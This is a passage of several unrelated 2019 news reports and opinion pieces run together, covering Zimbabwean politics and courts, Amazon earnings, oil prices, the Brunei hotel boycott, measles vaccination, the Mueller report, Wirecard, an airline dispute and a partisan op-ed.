NPA, during the time which the couple acquired the property, their lawful income amounted to $60 053,13 collectively."The respondents be and are, hereby, required to give a statement to the head of CID Commercial Crimes Division's Asset Forfeiture Unit at Morris Depot in Harare within 30 days from the date of service of this order," the judgment read."An explanation by the respondents as to where and from whom they obtained the money/value to buy and develop the above-mentioned movable and immovable property. Production of all relevant documents/records related to movement of the said money/value used to acquire the said property," the High Court added.The High Court also gave an interim freezing order against the couple or any other person with interest in the properties in terms of section 37H of the Presidential Powers (Temporary Measures) (Amendment of Money Laundering and Proceeds of Crime Act and Exchange Control Act) Regulations, Statutory Instrument 246/2018. News / National by Staff reporter Seven Zimbabwe Congress of Trades Union (ZCTU) leaders, who were being charged for inciting the January public violence, were yesterday acquitted by a Harare magistrate at the close of the State case.The seven Peter Mutasa, the labour body's president; Japhet Moyo, the secretary-general; Benice Maluleke, Prescilla Jonhi, Simon Mutasa, Munashe Chirovamari and Ezekiel Matema were acquitted by magistrate Rumbidzai Mugwagwa, who said the State had failed to prove a case against them.They were all represented by human rights lawyers Alec Muchadehama, Tinomuda Shoko and Kossam Ncube.The labour body officials had pleaded not guilty to the charges, saying they did not commit any offence warranting their arrest and prosecution.They also argued that there were insufficient grounds to link them to the offence.The case related to their arrest on October 11 last year as the State sought to thwart an anti-government protest which the labour union was organising.They were charged with committing public violence as defined in section 37(1)(a) of the Criminal Law (Codification and Reform) Act for allegedly participating in a gathering with intent to promote public violence and breaches of peace or bigotry.Mutasa and Moyo are still facing other charges of seeking to subvert a constitutionally-elected government relating to the January fuel price hike protests. News / National by Mandla Ndlovu Former Bulawayo South Member of Parliament Eddie Cross says the G40 faction of ZANU PF that was defeated through the November 2017 bloodless coup is buying guns to fight the government of President Emmerson Mnangagwa.Addressing the Cape Town Press Club on Thursday Eddie Cross said, "Mnangagwa is committed to reform but he has not received sufficient recognition for what he has done. Daily he has to deal with recalcitrant elements in his party. Intelligence sources informing me suggest that the G40 buying weapons."Cross revealed that the South African Government and the Chinese Government were informed of the coup before it took place and they supported it."South Africa agreed and China gave coup go-ahead,"he said. "It was done extremely efficiently; police were disarmed and the army took control. It was a legitimate military assisted transition not a coup because the population supported it."Cross further said factionalism that is happening in ZANU PF and in government was another threat to Mnangagwa's success."The real threat to Zimbabwe now is the internal factions in the ruling party, for example, the Reserve Bank Governor John Mangudya is fighting against Finance minister Mthuli Ncube and this is destabilizing the country."Outlining Mnangagwa's achievements, Cross said the President had done an amazing economic achievement in 9 months with Zimbabwe going from a 40% deficit to a balance of payments surplus and predicted that by end of next quarter Zimbabwe will have a floating currency.He also said Mnangagwa has reduced the police hierarchy, fired the militia and the secret service and that the securocrats are no longer running the politics but the country is moving towards a civilian democracy. News / National by Itai Mushekwe/Nancy Mabaya New York - Militaristic vice president, Rtd General Constantino Chiwenga, is now the country's de facto head of state, amid reports that President Emmerson Mnangagwa, has reportedly been stripped off of significant executive powers and functions by the army, thus effectively becoming a leader in name only pending his imminent departure from office, Spotlight Zimbabwe reported.Top level government sources with the defence ministry in the capital, including three serving cabinet ministers this week confirmed to this publication that, Chiwenga has been endorsed by the Joint Opeartions Command (JOC), which he chairs to assume full control of all national security affairs, together with classified key presidential functions, as a bid by Mnangagwa's ruling party backers to have him clinging to office using a Government of National Unity (GNU) project taking main opposition leader, Nelson Chamisa on board, has allegedly been quashed.JOC brings together the country's military-security complex to manage homeland security affairs, and is thought to be the real power behind the curtain in Zimbabwe's politics.Local online media reports in the past few days have claimed that Mnangagwa is afraid of army plots to forcefully remove him from power, and has resorted to try and accommodate Chamisa in his government, to foil the move. Zanu PF politburo member and former finance minister, Patrick Chinamasa, yesterday also tried to came to Mnangagwa's rescue by telling a party gathering in vain, that Mnangagwa was their sole presidential candidate for 2023.Spotlight Zimbabwe, can however report with authority that a Zanu PF and military faction aligned to Chiwenga, has already agreed on Mnangagwa's successor, and that the former vice president is going to be booted out of office within months, as his statecraft and policies have dismally failed to resuscitate the economy, which is all but now sliding into new levels of stratospheric collapse.We exclusively reported on 22 March 2019, that Mnangagwa's days as president are numbered, as a special delegation of senior military officials reportedly told Chinese generals that his political reign will expire in 2020, and that he was going to be an interim caretaker president up to the period, before the military replaces him with their preferred successor, a few days prior to former leader President Robert Mugabe's November 2017 military putsch ouster.Chiwenga himself is increasingly likely to takeover until 2023, if his health permits then handover the country to a civilian leadership, our sources said."There was a mistaken belief that CGDN (Chiwenga's full name-Constantino Guveya Dominic Nyikadzino) was not coming back alive from his medical treatment in India in February," said one of the ministers, who is a close ally of Chiwenga. "As you can see his health is on the mend, and he has been endorsed by JOC to take up more national security responsibilities and key classified functions in the presidium, which I cannot disclose for purposes of national security and my oath of office."Another one said although things appear to be harmonious in government, the country's political landscape was about to change."Vakuru vamunoziva varikuda kugadzirisa zvinhu nyika isati yashata (The main political actor you know about, wants to restore the country before it collapses to economic disaster.) He's coming in on a transition before the 2023 polls, unless he decides to put someone else in power. There are at least two strong candidates, which he has considered, but we shall have to wait and see."Speculation is rife, that former reserve bank governor, Gideon Gono, might bounce back as president, and is expected to use his skills as a banker to prevent financial recession and further economic catastrophe. Gono is a good friend of Chiwenga, who is credited with availing critical funding for the army and its programs, when Chiwenga was Zimbabwe Defence Forces (ZDF) Commander.Spotlight Zimbabwe, will as part of its anniversary celebration reveal the name of the incoming president to replace Mnangagwa in August, and also the country's 2023 leader who has also been anointed by the army.Top military officials in government also said that Chiwenga, has reportedly been convinced by his personal advisor, Mengistu Haile Mariam, the exiled Ethiopian autarch, who is now a Zimbabwean citizen and hired ZDF consultant, to start "amalgamating" his presidium functions together with his military doctrine to secure the presidency outright."Mengistu now advises Chiwenga on an array of issues, especially how to synchronise and amalgamating his new civilian roles with his military doctrine as former defence forces commander. Many Zimbabweans are not aware that Mengistu is also an unofficial member of the powerful Joint Operations Command. The two (Chiwenga and Mengistu) usually hold off the grid meetings at Mengistu's farm in Vumba." Amazon (AMZN) reported earnings of $7.09 per share, crushing expectations of $4.67. The e-commerce giant recorded $59.7 billion in sales for the first quarter of 2019 on Thursday, which is inline with analyst estimates. That fell into the higher range of the guidance the company provided in January, which was net sales of $56 billion to $60 billion. It also hit a record quarterly profit of $3.6 billion. Amazon Web Services (AWS) business, which has been steadily contributing to profitability, secured $7.7 billion in sales during the first quarter, representing a growth of 41.4% year-over-year. Advertising business, which is reported under other revenue, grew 36% this quarter. Not all of its businesses are expanding at full speed. Product sales only went up by 8.5% this quarter, while the growth it had one year ago was 33.2%. As the online juggernaut makes forays into brick-and-mortar retail, the physical sales numbers, most from Whole Foods stores, also caught investors attention. This quarter, it reported a 1% increase in physical store sales, reverting the downward trend from last quarter. On the non-AWS side, sales are slowing, with physical stores (i.e. Whole Foods) essentially flat, and we note the reduced growth is largely generated by third-party sales, Moody's Lead Retail Analyst Charlie O'Shea said. However the real story on the retail side is margin expansion, which is up around 360 bps to almost 6.4%, and is likely driven in large part by the rapidly-growing and higher-margin advertising business. Amazon 2019 Q1 earnings in a chart Wall Street holds high hopes for Amazons retail and cloud business. Amazon is well-positioned as the leader in two large/fast growing markets (retail and cloud), and we believe the companys advertising business, which is still in the early stages, will continue to benefit as more businesses shift ad budgets Amazons way given its dominance in product search, wrote analysts at Stifel, who have a price target of $2,300 for the Seattle-based firm. Story continues Marco data offers reasons to be optimistic. U.S. retail sales in the first quarter grew 2.7% despite a slow February. Analysts at Moodys say strong economic fundamentals, with lower unemployment and wage growth could fuel higher consumer spending this year. International market loss narrows Amazon stock year-to-date performance versus S&P 500. Outside its home turf, Amazon is trying to grow Prime users. The first-quarter earnings have sent some positive signals. Amazon lost $90 million in the international market this quarter, improving from the $622 million it lost one year ago. Competition with local players and regulatory changes can add uncertainties to its global expansion. Investors are looking for more comments from the management on the impact of the new e-commerce regulations in India, which went into effect in February. The law bans online retailers from selling items through vendors in which they have an equity stake, and also from having sellers sell exclusively on their platforms. As a result, some of Amazons private label products initially got removed from the website. Last week, Amazon closed its marketplace in China, but it should have minimal impact on its financials, since its market share in China has fallen into less than 1%, according to iResearch. For the second quarter, the largest online retailer in the world expects net sales between $59.5 billion and $63.5 billion, the midpoint of which remains below analysts expectation. Amazon stock was up 1.6% after-hours on the earnings. Its shares have risen by 28.7% year-to-date. Krystal Hu covers technology and China for Yahoo Finance. Write to her via krystalh@yahoofinance.com or follow her on Twitter. Read more: Amazon shuffles thousands of workers in its quest to revamp delivery Apple cuts iPhone XR price for partner sellers in China Amazon eyes closed Sears stores for Whole Foods expansion FILE PHOTO: The sun sets behind an oil pump outside Saint-Fiacre, near Paris, France March 28, 2019. REUTERS/Christian Hartmann By Laila Kearney NEW YORK (Reuters) - Oil prices fell 3% on Friday after U.S. President Donald Trump again pressured the Organization of the Petroleum Exporting Countries to raise crude production to ease gasoline prices. Traders said Trump's comments, despite lacking specifics, were enough of a catalyst to spur investors to take profits after a long bull run that had pushed prices to six-month highs. Brent crude futures settled at $72.15 a barrel, down $2.20, or 3 percent. West Texas Intermediate crude ended at $63.30 a barrel, down $1.91, or 2.9 percent. Brent was flat on the week after rallying for four weeks in a row. WTI saw a 1.2 percent weekly loss, breaking its six-week bull run. Trump told reporters on Friday that he had called OPEC and told the cartel to lower crude prices, without identifying who he spoke to, or if he was speaking about previous discussions with OPEC officials. Since taking office, Trump has weighed in on OPEC on numerous occasions on Twitter, often exhorting the cartel to lower prices. His comments tend to have a temporary effect on the market. Regardless, his words on Friday were enough to knock down the market after several weeks of gains. "As soon as that comment came out, that was enough ammo to get guys to lift long positions," said Josh Graves, senior commodities strategist at RJO Futures in Chicago. "They were taking chips off the table at the first hint of bearish news." On Thursday, Brent rose above $75 a barrel for the first time this year after Germany, Poland and Slovakia suspended imports of Russian crude via a major pipeline due to contamination. Russia said it plans to restore oil supplies via its key Druzhba pipeline to Europe in two weeks. Crude futures have gained more than 30 percent this year after OPEC and several allies cut supply by 1.2 million barrels per day, and as sanctions on Venezuela and Iran have reduced output. Traders also said Friday's selloff was in part due to rumors that Washington could grant China an exemption allowing it to keep buying Iran's oil, which would increase available worldwide supply. Story continues Two Trump administration officials refuted the rumors, saying neither a wind-down period nor a short-term waiver on China's oil purchases from Iran are being contemplated to their knowledge. The United States and China are continuing to negotiate a trade deal to end a months-long dispute. The market pared some losses after U.S. oil drillers this week cut the most rigs in over three months, removing 20 rigs to a total of 805 rigs, as independent producers follow through on plans to cut spending on new drilling and completions. (Additional reporting by Shadia Nasralla in London, Henning Gloystein; Editing by Marguerita Choy and Alistair Bell) A short-term rental company that caters to LGBTQ travellers is calling for a boycott of hotels around the world owned by the Sultan of Brunei following the introduction of new laws that make gay sex punishable by stoning to death. Homosexuality has been illegal in the small Asian nation since it broke from British rule in 1984. But was punishable by imprisonment alone until a recent shift to a more conservative interpretation of Islam. Laws that came into effect April 3 make gay sex and adultery punishable by stoning offenders to death. The move has prompted a chorus of outrage around the world. UN Secretary General Antonio Guterres decried the changes, as has Global Affairs Canada, which called for Brunei to drop the "inhumane" new laws. Following the criticism, Brunei released a statement saying it "enforces its own rule of laws" like "all independent countries." The purpose of the legislation is "criminalizing and deterring acts that are against the teachings of Islam," Brunei said, adding that it aims to "respect and protect the legitimate rights of all individuals" and society at large. Misterb&b, a short-term rental company similar to Airbnb or VRBO (Vacation Rentals by Owner) that caters to LGBTQ travellers, is boycotting the 10 hotels owned by the nation's ruler, Sultan Hassanal Bolkiah: Beverly Hills Hotel, Los Angeles. Hotel Bel-Air, Los Angeles. The Dorcester, London. 45 Park Lane, London. Coworth Park, Ascot, U.K. Le Meurice, Paris. Hotel Plaza Athenee, Paris. Le Richemond, Geneva. Hotel Principe di Savoia, Milan. Hotel Eden, Rome. CEO Matthieu Jost, who lives in Paris, said he was "shocked" by the brutality of the new laws. "We decided immediately to remove all the Brunei hotels from our platform," in addition to the hotels abroad owned by the Sultan. "We don't want to give business and to support someone who is killing gay men; we don't want to send our customers to these hotels." Story continues Thibault Camus/The Associated Press Jost launched the company after he and his partner found themselves with homophobic short-term rental hosts while on holiday in Barcelona eight years ago. "It became a very awkward experience," he said. "We decided to leave the place, and on my way back to the airport I said to my partner, 'I don't want to live this kind of situation anymore and I don't want my community to live this situation.'" The misterb&b platform boasts more than 300,000 short-term rental hosts in 145 countries, all who promise a welcoming environment for LGBTQ guests, he said. Knowing that not all travellers want to stay in private residences, the company just added 30,000 hotels that meet the same standard. The situation in Brunei draws attention to the broader issue of safety for gay travellers, said Jost. Homosexuality is illegal in 73 countries, according to the World Economic Forum. Osmel Guerra Maynes considers the safety of destinations before making travel plans with his husband. "When we want to plan to go somewhere we always have to ask 'Are we going to be living our truth in this country that we're going to go to visit, or are we going to be putting up this facade?'" said Guerra Maynes, executive director of QMUNITY, B.C.'s queer, trans and two-spirit resource centre in Vancouver. 'I might be attacked' It's not just walking hand-in-hand with his husband that could pose a danger, he said. "Even if I go by myself and someone assumes I'm part of the gay community, I might be attacked." He and his husband have experienced subtle forms of discrimination while travelling, even to countries that purport to be welcoming to LGBTQ people. They get "the odd glare," or uncomfortable and disapproving reactions when staff who come to clean the room realize there's two men staying there, said Guerra Maynes. We understand people's anger and frustration, but this is a political and religious issue that we don't believe should be played out in our hotels and among our 3,630 employees. - Dorchester Collection of hotels "We encountered this in Cuba, even though Cuba is supposedly a country where gay is okay, we still got that vibe; we still got those questions," he said. Guerra Maynes said he's happy to see boycotts of Brunei destinations, as well as the Sultan's properties elsewhere. "I think it's a great stand. Hate shouldn't be staying in places where you're offering this so-called place of sanctuary for people to enjoy themselves when they go somewhere," he said. "I would further put that into the heterosexual community and say 'stand with us as well.' Because at the end of the day it's still discrimination, it's still hate." A range of companies have publicly stated that they will cease doing business with the Sultan's hotels. The TV Choice Awards will no longer be held at the Dorcester in London, and Deutsche Bank said its employees will no longer stay at the chain. Virgin Australia airline cancelled a reciprocal agreement with airline Royal Brunei. High profile celebrities including Ellen DeGeneres, Elton John and George Clooney have also called publicly for a boycott of hotels and other businesses associated with the country. In response to the boycotts, a spokesperson for the Dorchester Collection of hotels, owned by the Brunei Investment Authority, told the U.K.'s Guardian newspaper: "We understand people's anger and frustration, but this is a political and religious issue that we don't believe should be played out in our hotels and among our 3,630 employees. We're deeply saddened by what's happening right now and the impact it is having on our employees, guests, partners and suppliers in particular." Measles cases have spiked in the U.S. and have also appeared across Canada this year, and the president of the Ontario Medical Association wants people to vaccinate. Dr. Nadia Alam said there has been "a lot of bad information" about vaccines circulating and that doctors are seeing more patients questioning vaccine safety or even opting out of them. What this means, she said, is diseases that are "virtually eradicated through vaccination, like measles and rubella, can come back and come back quickly." Cases in North America So far in 2019, there have been more than 600 cases of measles reported across the U.S. the highest in 25 years. In Canada, there have been 39 cases of measles reported this year. Most recently there were cases confirmed in Richmond Hill, Ont. and Newmarket, Ont. On Wednesday, Prime Minister Justin Trudeau promoted vaccines on Twitter for National Immunization Awareness Week. He tweeted that vaccines work and they "save lives." According to Alam, people worried about vaccines are generally more "vaccine hesitant as opposed to completely anti-vaccine." "If you sit down and talk to them in a mutually respectful way and have a conversation around the risks and benefits of vaccines, they come around, by and large," she said. Herd immunity In Windsor-Essex, the vaccination rate for school-age children is around 84 per cent in 2017-18, according to Alam. However, the optimal rate to reach herd immunity is 95 per cent. Alam described herd immunity as a wall. "Every person who gets vaccinated is another brick in the wall. And what that means is, it works better to keep the disease out, as opposed to allowing it to come in," she said. Seth Wenig/Associated Press The ongoing strike among public health nurses in Windsor-Essex has meant that students with incomplete immunization records are still attending school, which Alam said is concerning. Immunization records help schools determine which students to suspend in the event of an outbreak, in order to protect those children and their peers. "Public Health Ontario tries to track immunization rates for a very good reason." By Makini Brice WASHINGTON (Reuters) - U.S. President Donald Trump denied on Thursday that he had ordered then-White House counsel Don McGahn to fire Special Counsel Robert Mueller from the Russia investigation, moving to undermine McGahn's credibility ahead of a possible congressional testimony. Trump's move appears to be part of an effort by the White House to push back on attempts by congressional Democrats to pursue investigations related to Mueller's probe into Russian election interference in 2016 and possible obstruction of justice by Trump. "As has been incorrectly reported by the Fake News Media, I never told then White House Counsel Don McGahn to fire Robert Mueller, even though I had the legal right to do so. If I wanted to fire Mueller, I didn't need McGahn to do it, I could have done it myself," Trump wrote on Twitter. A redacted version of Mueller's report released last week mentioned conversations in June 2017, when Trump called McGahn to tell him he should direct Deputy Attorney General Rod Rosenstein, who was overseeing the special counsel's probe, to remove Mueller because of conflicts of interest. The report cited "McGahn's clear recollection" that the president directed him to tell Rosenstein that "Mueller has to go." McGahn did not carry out Trump's order, the report said. Trump also tried unsuccessfully to get McGahn to dispute media reports that the president had attempted to fire Mueller, the report said. Mueller's report uncovered numerous links between the Trump campaign and the Russian government, and described how Trump tried to impede the Russia investigation. But it said there was not enough evidence to establish that the Trump campaign engaged in a criminal conspiracy with Moscow, and did not reach a conclusion on whether Trump committed the crime of obstruction of justice. MCGAHN ATTACKS A lawyer for McGahn declined to comment on Trump's tweet. Trump lawyer Rudy Giuliani has repeatedly attacked McGahn's veracity since the report's release. Giuliani has called the former White House counsel "hopelessly confused" and said his account may be "the product of an inaccurate recollection." The Democratic chairman of the House of Representatives judiciary panel has issued a subpoena for McGahn to testify and provide documents to the committee. But it is not clear whether the White House would try to stop him from testifying by claiming executive privilege, a legal doctrine allowing the president to withhold information about internal executive branch deliberations from other branches of government. Trump has vowed to fight every subpoena from House Democrats probing his administration and has ordered officials not to obey legal requests for cooperation from the Democratic-led House. In response, Democratic House Oversight Chairman Elijah Cummings has accused Trump of an "unprecedented, and growing pattern of obstruction." (Reporting by Makini Brice; additional reporting by David Morgan; Editing by Bernadette Baum and Alistair Bell) The number of measles cases worldwide in the first three months of 2019 has increased 300 per cent compared to the same period in 2018 to more than 110,000 cases reported worldwide, says a UNICEF report released Thursday. UNICEF said that an estimated 169 million children worldwide did not receive the first dose of the measles vaccine in the past eight years. Pockets of unvaccinated children allow measles to spread, the agency said, which has caused the current outbreaks around the world, including in Canada. Children are amongst the most vulnerable to measles. In 2017, youngsters made up the majority of the 110,000 people who died from measles. UNICEF executive director Henriette Fore said that missing vaccinations lays the foundation for measles cases today. The World Health Organization recommends a 95 per cent vaccination rate to achieve "herd immunity" a level needed to make sure that communities are safe from infections from measles. Two doses are necessary for the highest level of protection. Geoff Caddick/AFP/Getty Images "The measles virus will always find unvaccinated children," said Fore. "If we are serious about averting the spread of this dangerous but preventable disease, we need to vaccinate every child, in rich and poor countries alike." UNICEF says the reasons for not seeking the first dose of the measles vaccine include: Lack of access. Poor health systems. Complacency. Fear or skepticism about vaccines. Canada was in the top 10 high-income countries with children who did not receive the first dose of the measles vaccine between 2010 and 2017. The United States tops the list with more than 2.5 million children not vaccinated. Canada ranked seventh. UNICEF said that 287,000 kids in Canada did not receive the first dose during these years. UNICEF's chief of immunizations Robin Nandy said in high-income countries some people aren't recognizing the seriousness of the situation. "People forget how deadly this disease is," he said in an interview. "You take a different scenario in sub-Saharan Africa where they are seeing measles all the time they know people who have died." Story continues In low-income countries, poverty, supply shortages limit access to vaccines, UNICEF said. Also on Thursday, federal Health Minister Ginette Petitpas Taylor announced a new project with the Fraser Health Authority in British Columbia, which the department said will improve access to vaccinations and increase vaccine coverage for two-year olds in the Surrey region. The Public Health Agency of Canada said it will focus on improving services for hard-to-reach and low-income families, as well as Indigenous people and newcomers to Canada. Taylor also announced three other projects to improve vaccination rates in Canada. CBC News reached out to Health Canada about the UNICEF report. They referred journalists to the childhood National Immunization Coverage Survey from 2017, which showed that 90 per cent of all two-year-olds in Canada had received at least one dose of the measles vaccine. 2nd dose crucial to prevention Eric Risberg/Associated Press Receiving one dose of the measles vaccine does not necessarily mean full protection. While the world's population is growing, the global coverage amount for the first dose of measles vaccines has stayed consistent at 85 per cent. But global coverage for those who also received their second dose dips to 67 per cent. UNICEF called the situation critical for low- and middle-income countries. Of the top 20 countries with the largest number of unvaccinated children in 2017, nine have yet to introduce a second dose. UNICEF is working with Cameroon, Liberia and Nigeria to implement the second dose in 2019. Nigeria has the highest number of children under one year of age who did not get a first dose: approximately four million. When just looking at high-income countries, a decrease also occurs from 94 to 91 per cent. Canada's federal government said that two-dose coverage is almost 100 per cent effective. For routine vaccination, it recommends that the first dose be administered at 12 to 15 months of age, and the second between 18 months and before starting school. This week in California, Dr. Karen Smith, director of the California Department of Public Health, reported an increase in the number of measles cases. She said the state usually sees less than two dozen a year, but has recorded 38 this year as of Thursday. Much of the increase was linked to overseas travel. Smith said more than 76 per cent of patients were not vaccinated or did not receive the two doses. By Douglas Busvine MUNICH (Reuters) - German payments company Wirecard sought on Thursday to refocus on growth after securing audit approval of annual results which had been delayed by allegations of fraud and false accounting at its Singapore office. Germany's leading fintech company has been shaken by a string of reports in the Financial Times, which it has denied, citing a whistleblower's allegations that local staff padded revenues through sham transactions. Wirecard said auditor EY had found "no objections against the accounting treatment of the facts that were the subject of various allegation made by a purported whistleblower in Singapore". Wirecard won the backing of a heavyweight investor on Wednesday when it announced a partnership with Japan's Softbank that included the sale of a 900 million euro five-year bond convertible into a 5.6 percent stake in the company. Its annual results were delayed by an investigation by Wirecard's outside law firm Rajah & Tann, which exonerated head office but did find that local staff in Singapore may have committed crimes that were not material to the company's finances. CEO Markus Braun, who remains the company's largest shareholder with a 7 percent stake, said that management recognized weaknesses in the handling of software licenses used by its partners and would tighten up compliance in this area. "We are a growth company," Braun told a news conference in Munich. "This is all about innovation and expansion, but of course we must catch up when it comes to compliance, audit and controlling." SOFTBANK ALLIANCE Management confirmed guidance that earnings before interest, taxation, depreciation and amortization (EBITDA) would rise to between 740 and 800 million euros ($825-$892 million) this year. Wirecard, which recently displaced Commerzbank from Germany's DAX blue-chip index, reported a 36.6 percent gain in EBITDA to 560.5 million euros in 2018, while EBITDA margin widened by 0.2 percentage points to 27.8 percent. Management proposed a dividend of 20 euro cents. Braun said the Softbank deal offered the chance to work with companies backed by a group which runs the world's largest venture fund and counts ride hailing firms Uber, Grab and Didi in its portfolio. Digital payments scenarios that the alliance could work on included connected vehicles or food delivery, said Braun, who will seek shareholder approval for the arrangement. Wirecard, founded in 1999, has profited from a boom in online payments by acting both as an acquirer, handling payments to merchants, and as an issuer of real and 'virtual' payment cards to consumers. It handled a total of 125 billion euros in transactions for 280,000 merchants last year, generating revenues of 2 billion euros. It expects revenues to grow to 3 billion euros in 2020 and 10 billion in 2025 as digital payments become increasingly pervasive. ANOTHER FT DENIAL Even as Wirecard has grown apace, it has remained a favorite target of 'short' sellers seizing on negative reports to try to profit from declines in its share price. This has sparked investigations into suspected market manipulation by German prosecutors and the market regulator. Wirecard, which has already sued the FT, denied another report in the newspaper on Wednesday that alleged the accounts of a Dubai-based unit were not audited in 2016 and 2017. It said all its subsidiaries were audited regularly. The FT's reporting, starting Jan. 30, triggered a 50-percent slide in Wirecard's share price, while Singapore police have opened an investigation and raided Wirecard's office there. Braun said he retained his appetite for running a listed company. "I enjoy being on the stock market," the Austrian said, "and I haven't lost my passion for the job in the last two months." (Reporting by Douglas Busvine; Additional reporting by Tassilo Hummel; Editing by Paul Carrel/Keith Weir) Over the Easter weekend, a North Carolina mother was arrested after she got into a dispute with a Frontier Airlines flight attendant over vomit from a previous flight left uncleaned on her daughters seat. The altercation landed Rosetta Swinney in jail with a misdemeanor charge. "What really hurt me is for my child to see me getting handcuffed and taken away from her," Swinney told Raleigh, N.C. news station WTVD-TV. "Twelve hours I was in jail. Twelve hours." The 53-year-old mom and her daughter were in Las Vegas over the weekend for a wedding. Passengers were told that their Frontier flight to Durham, N.C. was delayed so that the staff could clean the aircraft. However, when her and 14-year-old daughter boarded the plane, they were astonished to find puke on the seat. "She jumped up and said, Mom, my hands are wet. She smelled it. She said, This is vomit, mom. So, we went to look, Swinney said. It was on the bag, all over her shirt, her hands. Swinney said that when she alerted a flight attendant about the puke, the Frontier Airline employee got offensive and responded that it was not her job to clean the mess. If it wasnt her job, why wasnt it attended to? Swinney told WTVD-TV. In a statement provided to Yahoo Lifestyle, Frontier Airlines said that the flight attendant apologized to the mother and her teenage daughter and offered cleaning products for herself and invited to use the lavatory to wash up. The statement said that the mother and daughter were also told that once boarding was complete they would be provided other seats if available. Swinney disputes Frontier Airlines account, saying that the attendant neither attempted to clean the mess or offered them new seats. Several other passengers on the same flight took to social media with videos and written posts similar to Swinneys version of events. The North Carolina mom claims that the attendant asked her to leave when she tried to address the issue again. When the 53-year-old mom refused, the attendant called security to escort her and her daughter off of the aircraft. Story continues Frontier alleges that because Swinney became disruptive, attendants determined that the mother and daughter should be deplaned and accommodated on a different flight. When the mother refused, attendants followed procedure by alerting law enforcement and de-planing passengers so that the mother and daughter could be removed. Videos of the Saturday incident show Swinney being handcuffed in the gate terminal while her 14-year-old daughter watched crying. Her 14 year old daughter is screaming and she is being hauled away by the police, wrote the passenger who filmed the incident in its entirety. Her video has since gone viral garnering 1,400 likes and 2,900 shares on Facebook. The videos are now also circulating on Twitter. Now theyre cleaning up the same vomit the lady complained about initially because its a biohazard! Frontier Airlines is DEAD WRONG FOR THIS! We apologized to our passengers for the inconvenience caused by the departure delay, Frontier Airlines statement said. The safety of passengers and crew is our top priority at Frontier. Local law enforcement put the North Carolina mom in jail for 12 hours and placed her daughter in child protective custody. "I felt humiliated," Swinney told WTVD-TV. "I felt more bad that my child had to see me be handcuffed and taken away from her." After she was released from jail, Swinney purchased a $1,000 flight home with Delta Airlines. Although Frontier Airlines refunded her for the cost of her original flight, the mom has hired a civil rights lawyer to fight her misdemeanor charge. Swinney also vowed to never fly Frontier Airlines again. Yahoo Lifestyle was not able to locate Swinney for comment. Read more from Yahoo Lifestyle: 16 airline passengers hospitalized after landing in Boston American Airlines flight 'nearly crashed' after departing from JFK, source claims Video of Spirit Airlines employee dancing with cheerleaders during flight delay goes viral Follow us on Instagram, Facebook, and Twitter for nonstop inspiration delivered fresh to your feed, every day. This is the blog of China defense, where professional analysts and serious defense enthusiasts share findings on a rising military power. A Chippewa Valley legislator is backing a bill to increase penalties for highway violations in areas with people volunteering. Rep. Jodi Emerson, D-Eau Claire, is one of 15 assembly members sponsoring Assembly Bill 151, which would include volunteer work, like Adopt-A-Highway cleanup groups, in with highway maintenance and construction crews. Under current law, the amount of any applicable minimum and maximum fine is double for specified traffic violations committed where people working in a highway maintenance or construction area are at risk from traffic. Volunteer workers would now be included in those groups. Emerson said for her, the bill is directly in response to the deaths of a three Girl Scouts and a parent in a group cleaning a highway. The crash last November occurred along County Road P near the Hwy. 29 overpass in Lake Hallie, when the driver of a pickup truck, Colten Treu, 22, of Chippewa Falls drove into the ditch and struck the group after allegedly huffing chemicals shortly before. Emerson said the bill has bipartisan support in the Assembly and Senate. I think this is a good bill that is a simple fix to a problem, Emerson said. Chippewa County Highway Commissioner Brian Kelley agreed, saying that the November accident had been a wakeup call for a lot of people to look at how to continue to address distracted and impaired driving. Weve got to do everything we can to protect people working and volunteering out there, Kelley said. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 While most other presidential candidates of the Democratic kind are tiptoeing around the question of impeachment proceedings against you know who, Sen. Elizabeth Warren says he is definitely guilty of high crimes, including collusion with the Russians or something an awful lot like it. Therefore, she tells us, the House must get going and act against this worst of all presidents who received bountiful help in the 2016 election from Russia and then told his fellow Putin admirers to keep it coming. I did not know this Harvard law school professor had bought a Sherlock Holmes hat and was out investigating for two years at the same time as special counsel Robert Mueller and his team and actually found out more about collusion than they did. But wait. Its maybe not evidence motivating her. The thing is, she has not been getting a lot of attention, donations or support in the polls. This should help. I know, I know, thats cynical and a guess, but impeachment proceedings would be nothing more than chaos afflicting us all, seeing as how our legislators cant chew gum, act out tragedies and pass important bills at the same time. The fire and fury would likely come to nothing, even with phony obstruction charges being front and center, because the Republicans who constitute a majority in the Senate would not produce the two-thirds vote necessary for eviction. This issue tells us just part of the Warren story, however. For instance, she does not seem to grasp the importance of our overwhelming debt and the interest that has to be paid yearly and is working its way to being equal to all revenue. Spending is the chief culprit of what bipartisan experts say could be a massively destructive crisis, and note for starters that Warren is for the Green New Deal. Here is a plan that would do away with fossil fuels, make everyone buy electric cars to replace what they have, require inspection of every building in America, incentivize more family farming and probably make it necessary for everyone to invest in candles. Renewable fuels just wont get the job done, and even if they did we are talking about spending elusive trillions and upheaval that could well be worse than the Great Depression. Other spending ambitions? Tens of millions of voters will love Warren for getting rid of $640 billion of the $1.5 trillion student loan debt by just possibly making it part of the national debt. She also figures on making two-year and four-year public colleges free if you cant afford the tuition. She has a plan to start an optional, subsidized, nationwide day-care program, free for many and relatively cheap for others. She wants to get lower rent by getting cities to change their land-use policies and spending $500 billion for new and refurbished homes over a decade. She backs a Medicare for all plan that would do away with private insurance companies and lower medical fees enough to degrade care enormously. The cost would still be about $32 trillion over 10 years, its estimated. A couple of these programs might make sense if we could afford them, but we cannot and there are cheaper solutions. Warren does have a plan to pay for all of this. She wants an ultra-millionaire 2% wealth tax on assets over $50 million of the richest Americans (not a lot of voters) and more than that if they have more than a billion hanging around. She also wants high estate taxes for such people, not getting it that taking money out of the private economy for government to spend ends up in less investment and sales and fewer jobs and lower wages. If the money were being raised to pay down the debt, I could applaud. Please note as well that Warren wants a law that would enable the imprisoning of CEOs of especially big companies for crimes underlings committed without their knowledge. This negligence law would be an unjust abomination. As a socialistic maneuver, she wants to require corporations to represent workers on their boards of directors and she was also a key player in establishing a wholly partisan, mightily aggressive federal agency unaccountable to Congress. In my own mind, I have impeached Warren as a candidate, but if you believe in fiscally imprudent, authoritarian big government and destitution, vote for her. Jay Ambrose is an op-ed columnist for Tribune News Service. Readers may email him at speaktojay@aol.com. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 The Diesel Hair of the Dog is a limited edition project released by General Cigar in 2019. Its a project that has been done in collaboration between General Cigar and AJ Fernandez. Diesel is a brand under the General Cigar portfolio that has been gaining considerable traction over the past two years. For many years, Fernandez produced cigars for the Diesel brand for 